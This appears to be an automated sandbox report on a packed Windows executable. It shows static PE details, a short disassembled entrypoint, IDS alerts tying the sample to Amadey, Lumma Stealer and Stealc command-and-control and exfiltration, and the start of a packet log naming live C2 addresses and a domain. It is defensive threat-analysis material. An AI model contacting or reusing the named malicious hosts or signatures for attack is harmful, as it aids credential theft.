Preview:	)]}'.["",["spiderman beyond the spider verse","zach ertz","stocks futures","forza horizon delisted","colorado $1600 stimulus checks 2024","cincinnati bengals playoffs","mortgage refinance rates","december 15 full moon"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"Cg0vZy8xMXFiY2R2ajkyEgVNb3ZpZTLvDWRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBS3dNQkVRQUNFUUVERVFIL3hBQWJBQUFEQVFBREFRQUFBQUFBQUFBQUFBQURCQVVDQUFZSEFmL0VBREVRQUFJQkF3SUZBZ01IQlFBQUFBQUFBQUVDQXdBRUVSSWhCUk14VVhGQllhSEI4QlFpTW9HeDBlRUdJek5pa2YvRUFCa0JBQU1CQVFFQUFBQUFBQUFBQUFBQUFBSURCQUVGQVAvRUFDb1JBQUVFQVFJRkFnY0JBQUFBQU

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	downloaded
Size (bytes):	175734
Entropy (8bit):	5.551686932390994
Encrypted:	false
SSDEEP:	3072:Kx03C+ynn+R9n4huwXljOCGZhQDx52yWk2b93BBpBzjZpdDeUyQzv82hkHzRznoT:K23Cj+rn4huSzGZhOx52yWk253BBpBzn
MD5:	48EAA6954DC74646ED3613F4E8F197B5
SHA1:	70B84AEF92CE84C6D645C1872CAC8AA56B98E0C6
SHA-256:	9527A1DB4CA770A43A959E4DE906C7AC030463F4008768132AD80C1A6DDE9817
SHA-512:	0C9A8C24822A5CDDF50F00A34B82D4352F9C73DBE09987611F14B3ABAB22C2DF92508C7D984966CCBB7B713A7711D199E300C0C5B5AD9FE9A715DA6B45A2C8FF
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.kK1dM3um3so.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvy5aateSbmVFHM0FBRaHBJsFE_CQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Zi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.$i=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var aj,bj,fj,ij,hj,dj,gj;aj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};bj=function(){_.Na()};fj=function(a,b){(_.cj\|\|(_.cj=new dj)).set(a,b);(_.ej\|\|(_.ej=new dj)).set(b,a)};ij=function(a){if(gj===void 0){const b=new hj([],{});gj=Array.prototype.concat.call([],b).length===1}gj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.jj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.kj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.lj=function(a,b){a===0&&(a=_.kj(a,b));return a\|1};_.mj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.nj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.qj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.jj(a,b,d);var k=h[_

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132993
Entropy (8bit):	5.435781274225859
Encrypted:	false
SSDEEP:	3072:fFktv3zg+newH5FsYZGFsxIoPLe13y2i6o:fgvn/H/MFsxIoPY3y8o
MD5:	61EB612A55943BC87F59B13DADE09810
SHA1:	A2BC2D6FFCC40354EA654D44102CF41CD83A41A8
SHA-256:	468026AD8A5B5849084DF58A759A8FC1FA21E6B163860361039998D5C8E9CBF7
SHA-512:	8FFD426D651DF4F3AD88EB7D53E961AD4C1940B6433F0316A670FF93B7AB0D44E7C16277B8F7C7C3DDB52950920C974F2F8918639B9EC09D96881D81F18576D8
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949244487543378
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	4TPPuMwzSA.exe
File size:	1'834'496 bytes
MD5:	d8c2dbe1dc35a7cdac6842d48fecb333
SHA1:	e2c05c1cd61c9085f23f1462acdc10444c52dc0a
SHA256:	b42e54290ed4aad3ce47fee33a85c5438736e76c26f85a6e422a9da60203f219
SHA512:	b90e0dbc88945aa4c75cfe4c9b6b8e9046a363eaca6797a8fe44b27e9c9224e06b1380465cb61439256f64fce05f8d5006bb932101b3d42970cb5db6a0ae5dc7
SSDEEP:	49152:KVGfuwDAsjKlaPIfyJsEQgRT4+Agta6x:IGfj9PIyWEfRTUw
TLSH:	09853389DA3F7B24C89C02762291C3516B8E115C57A99F58B377BF8F50E7B80C89B91C
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Yg.............................PH...........@...........................H......h....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x885000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6759FE62 [Wed Dec 11 21:04:34 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF8BCBBC3CAh
paddusb mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007FF8BCBBC432h
push esi
dec edx
popad
je 00007FF8BCBBC42Bh
push edx
dec esi
jc 00007FF8BCBBC43Ah
cmp byte ptr [ebx], dh
push edx
jns 00007FF8BCBBC407h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007FF8BCBBC40Dh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007FF8BCBBC417h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007FF8BCBBC40Ch
dec eax
dec ebp
jo 00007FF8BCBBC403h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007FF8BCBBC410h
insd
jnc 00007FF8BCBBC430h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007FF8BCBBC418h
push edx
insb
js 00007FF8BCBBC431h
outsb
inc ecx
jno 00007FF8BCBBC412h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007FF8BCBBC40Ch
dec ebx
js 00007FF8BCBBC403h
jne 00007FF8BCBBC3F1h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007FF8BCBBC41Ch
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007FF8BCBBC3FAh
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007FF8BCBBC433h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	e7da99d39a1926d5341e4dc742b7f19d	False	1.000140464469178	data	7.982248623036551	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x2b0	0x400	b1e85b1cd09caefc2d43268be72ef161	False	0.3603515625	data	5.183452444303608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x298000	0x200	2309518366fe09f0829de8f6fc61dad1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jykvwyex	0x2ec000	0x198000	0x197800	a6612fb35783031a065ab27817bad456	False	0.9943233560199386	data	7.951577720610811	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
flkzpzss	0x484000	0x1000	0x400	3a0543bad4eb5739ef3580fd4e0b82ae	False	0.8271484375	data	6.2619084702186765	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x485000	0x3000	0x2200	b2ff495ca226c63d01e919c8ff8f7988	False	0.3766084558823529	DOS executable (COM)	4.02446579658587	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T10:36:57.379627+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.9	50016	TCP
2024-12-16T10:37:05.419268+0100	2058230	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)	1	192.168.2.9	56438	1.1.1.1	53	UDP
2024-12-16T10:37:06.889389+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.9	49717	104.21.50.161	443	TCP
2024-12-16T10:37:06.889389+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49717	104.21.50.161	443	TCP
2024-12-16T10:37:07.588684+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49717	104.21.50.161	443	TCP
2024-12-16T10:37:07.588684+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49717	104.21.50.161	443	TCP
2024-12-16T10:37:08.892674+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.9	49723	104.21.50.161	443	TCP
2024-12-16T10:37:08.892674+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49723	104.21.50.161	443	TCP
2024-12-16T10:37:10.193151+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49723	104.21.50.161	443	TCP
2024-12-16T10:37:10.193151+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49723	104.21.50.161	443	TCP
2024-12-16T10:37:11.771249+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.9	49729	104.21.50.161	443	TCP
2024-12-16T10:37:11.771249+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49729	104.21.50.161	443	TCP
2024-12-16T10:37:12.551158+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49729	104.21.50.161	443	TCP
2024-12-16T10:37:13.941503+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.9	49738	104.21.50.161	443	TCP
2024-12-16T10:37:13.941503+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49738	104.21.50.161	443	TCP
2024-12-16T10:37:16.236096+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.9	49746	104.21.50.161	443	TCP
2024-12-16T10:37:16.236096+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49746	104.21.50.161	443	TCP
2024-12-16T10:37:18.994178+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.9	49752	104.21.50.161	443	TCP
2024-12-16T10:37:18.994178+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49752	104.21.50.161	443	TCP
2024-12-16T10:37:21.471261+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.9	49760	104.21.50.161	443	TCP
2024-12-16T10:37:21.471261+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49760	104.21.50.161	443	TCP
2024-12-16T10:37:21.476112+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.9	49760	104.21.50.161	443	TCP
2024-12-16T10:37:25.270516+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.9	49771	104.21.50.161	443	TCP
2024-12-16T10:37:25.270516+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49771	104.21.50.161	443	TCP
2024-12-16T10:37:25.937668+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49771	104.21.50.161	443	TCP
2024-12-16T10:37:27.480977+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.9	49777	185.215.113.16	80	TCP
2024-12-16T10:37:41.031304+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.9	49808	185.215.113.206	80	TCP
2024-12-16T10:37:41.472158+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.9	49808	185.215.113.206	80	TCP
2024-12-16T10:37:41.601862+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.9	49808	TCP
2024-12-16T10:37:41.921853+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.9	49808	185.215.113.206	80	TCP
2024-12-16T10:37:42.043519+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.9	49808	TCP
2024-12-16T10:37:43.444531+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.9	49808	185.215.113.206	80	TCP
2024-12-16T10:37:43.882021+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49808	185.215.113.206	80	TCP
2024-12-16T10:38:10.966559+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49896	185.215.113.206	80	TCP
2024-12-16T10:38:12.997555+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49896	185.215.113.206	80	TCP
2024-12-16T10:38:14.303143+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49896	185.215.113.206	80	TCP
2024-12-16T10:38:15.563710+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49896	185.215.113.206	80	TCP
2024-12-16T10:38:19.132168+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49896	185.215.113.206	80	TCP
2024-12-16T10:38:20.199973+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49896	185.215.113.206	80	TCP
2024-12-16T10:38:25.796955+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49935	185.215.113.16	80	TCP
2024-12-16T10:39:04.916831+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.9	50015	185.215.113.43	80	TCP
2024-12-16T10:39:09.365620+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	50017	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 10:36:57.379626989 CET	49677	443	192.168.2.9	20.189.173.11
Dec 16, 2024 10:36:59.785856009 CET	49677	443	192.168.2.9	20.189.173.11
Dec 16, 2024 10:37:04.598395109 CET	49677	443	192.168.2.9	20.189.173.11
Dec 16, 2024 10:37:05.659826994 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:05.659872055 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:05.665756941 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:05.665756941 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:05.665791988 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:05.879597902 CET	49673	443	192.168.2.9	204.79.197.203
Dec 16, 2024 10:37:06.889298916 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:06.889389038 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:06.893277884 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:06.893290043 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:06.893656969 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:06.939336061 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:06.939336061 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:06.939466953 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:07.588702917 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:07.588800907 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:07.588870049 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:07.592380047 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:07.592380047 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:07.592417002 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:07.592427969 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:07.674788952 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:07.674845934 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:07.674912930 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:07.675277948 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:07.675287962 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:08.892518044 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:08.892673969 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:08.894098997 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:37:08.894129038 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:08.894398928 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:37:08.895845890 CET	49723	443	192.168.2.9	104.21.50.161
